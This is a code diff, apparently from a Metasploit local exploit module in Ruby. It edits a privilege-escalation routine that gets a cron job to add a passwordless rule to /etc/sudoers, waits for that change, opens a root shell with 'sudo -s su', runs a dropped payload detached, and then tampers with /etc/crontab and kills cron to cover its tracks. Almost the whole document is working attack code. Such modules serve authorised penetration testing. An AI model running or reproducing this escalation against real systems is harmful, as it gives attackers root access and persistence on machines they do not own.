@@ -69,6 +69,7 @@ def exploit
69
69
vprint_status ( "Writing payload to #{ payload_file } ." )
70
70
write_file ( payload_file , payload_source )
71
71
vprint_status ( "Finished writing payload file." )
72
+ register_file_for_cleanup ( payload_file )
72
73
elsif payload . arch . include? ARCH_PYTHON
73
74
vprint_status ( "No need to write payload. Will simply execute after exploit" )
74
75
vprint_status ( "Payload encodeded is #{ payload . encoded } " )
@@ -80,10 +81,11 @@ def exploit
80
81
# Execute payload
81
82
print_status ( 'Executing payload...' )
82
83
if payload . arch . include? ARCH_X86_64
83
- cmd_exec ( "sudo chmod +x #{ payload_file } ; sudo #{ payload_file } " )
84
+ cmd_exec ( "chmod +x #{ payload_file } ; #{ payload_file } & disown " )
84
85
elsif payload . arch . include? ARCH_PYTHON
85
- cmd_exec ( "sudo python -c \" #{ payload . encoded } \" " )
86
+ cmd_exec ( "python -c \" #{ payload . encoded } \" & disown " )
86
87
end
88
+ vprint_status ( "Finished executing payload." )
87
89
end
88
90
89
91
def os_check
@@ -105,10 +107,8 @@ def os_check
105
107
end
106
108
107
109
def sploit
108
- user = cmd_exec ( "whoami" ) . split ( " " )
109
- if user . length > 1 then user = user [ 1 ] end
110
-
111
- vprint_status ( "The current user is #{ user } . start of sploit" )
110
+ user = cmd_exec ( "whoami" ) . chomp
111
+ vprint_status ( "The current effective user is #{ user } . Starting the sploit" )
112
112
# Get size of sudoers file
113
113
sudoer_path = "/etc/sudoers"
114
114
size = get_stat_size ( sudoer_path )
@@ -134,23 +134,25 @@ def sploit
134
134
135
135
# Wait for sudoers to change
136
136
new_size = get_stat_size ( sudoer_path )
137
- vprint_status ( "Got sudoers size again" )
138
- counter = 0
139
- wait_time = datastore [ "WaitTime" ]
140
- print_status ( "Waiting for sudoers file to change.." )
141
- while new_size == size && counter < wait_time
142
- Rex . sleep ( 1 )
143
- new_size = get_stat_size ( sudoer_path )
144
- counter += 1
145
- end
137
+ print_status ( "Waiting for sudoers file to change..." )
146
138
147
- if counter >= wait_time
148
- fail_with ( Failure ::TimeoutExpired , "Sudoers file still has not changed after #{ counter } seconds. Try increasing WaitTime." )
139
+ # Start timeout block
140
+ begin
141
+ Timeout . timeout ( datastore [ 'WaitTime' ] ) {
142
+ while new_size <= size
143
+ Rex . sleep ( 1 )
144
+ new_size = get_stat_size ( sudoer_path )
145
+ end
146
+ }
147
+ rescue Timeout ::Error
148
+ fail_with ( Failure ::TimeoutExpired , "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime." )
149
149
end
150
150
print_good ( "Sudoers file has changed!" )
151
151
152
152
# Confirming root access
153
- user = cmd_exec ( "sudo whoami" )
153
+ print_status ( "Attempting to start root shell..." )
154
+ cmd_exec ( "sudo -s su" )
155
+ user = cmd_exec ( "whoami" )
154
156
unless user . include? "root"
155
157
fail_with ( Failure ::UnexpectedReply , "Unable to acquire root access. Whoami returned: #{ user } " )
156
158
end
@@ -183,21 +185,31 @@ def payload_file
183
185
end
184
186
185
187
def cleanup
186
- # Include superclass cleanup
188
+ vprint_status ( "Starting the cron restore process..." )
187
189
super
188
190
# Restore crontab back to is original state
189
191
# If we don't do this, then cron will continue to append the no password rule to sudoers.
190
192
if @crontab_original . nil?
191
193
# Erase crontab file and kill cron process since it did not exist before
192
- vprint_status ( "Removing crontab file since it did not exist prior to exploit. No need for it anymore." )
193
- rm_f ( "/etc/crontab" )
194
+ vprint_status ( "Killing cron process and removing crontab file since it did not exist prior to exploit." )
195
+ rm_ret = cmd_exec ( "rm /etc/crontab 2>/dev/null; echo $?" )
196
+ if rm_ret . chomp . to_i == 0
197
+ vprint_good ( "Successfully removed crontab file!" )
198
+ else
199
+ print_warning ( "Could not remove crontab file." )
200
+ end
194
201
Rex . sleep ( 1 )
195
- cmd_exec ( "sudo kill $(pgrep cron)" )
202
+ kill_ret = cmd_exec ( "killall cron 2>/dev/null; echo $?" )
203
+ if kill_ret . chomp . to_i == 0
204
+ vprint_good ( "Succesfully killed cron!" )
205
+ else
206
+ print_warning ( "Could not kill cron process." )
207
+ end
196
208
else
197
209
# Write back the original content of crontab
198
210
vprint_status ( "Restoring crontab file back to original contents. No need for it anymore." )
199
- write_file ( " /etc/crontab", @crontab_original )
211
+ cmd_exec ( "echo ' #{ @crontab_original } ' > /etc/crontab")
200
212
end
213
+ vprint_status ( "Finished the cleanup process." )
201
214
end
202
215
end
203
-
0 commit comments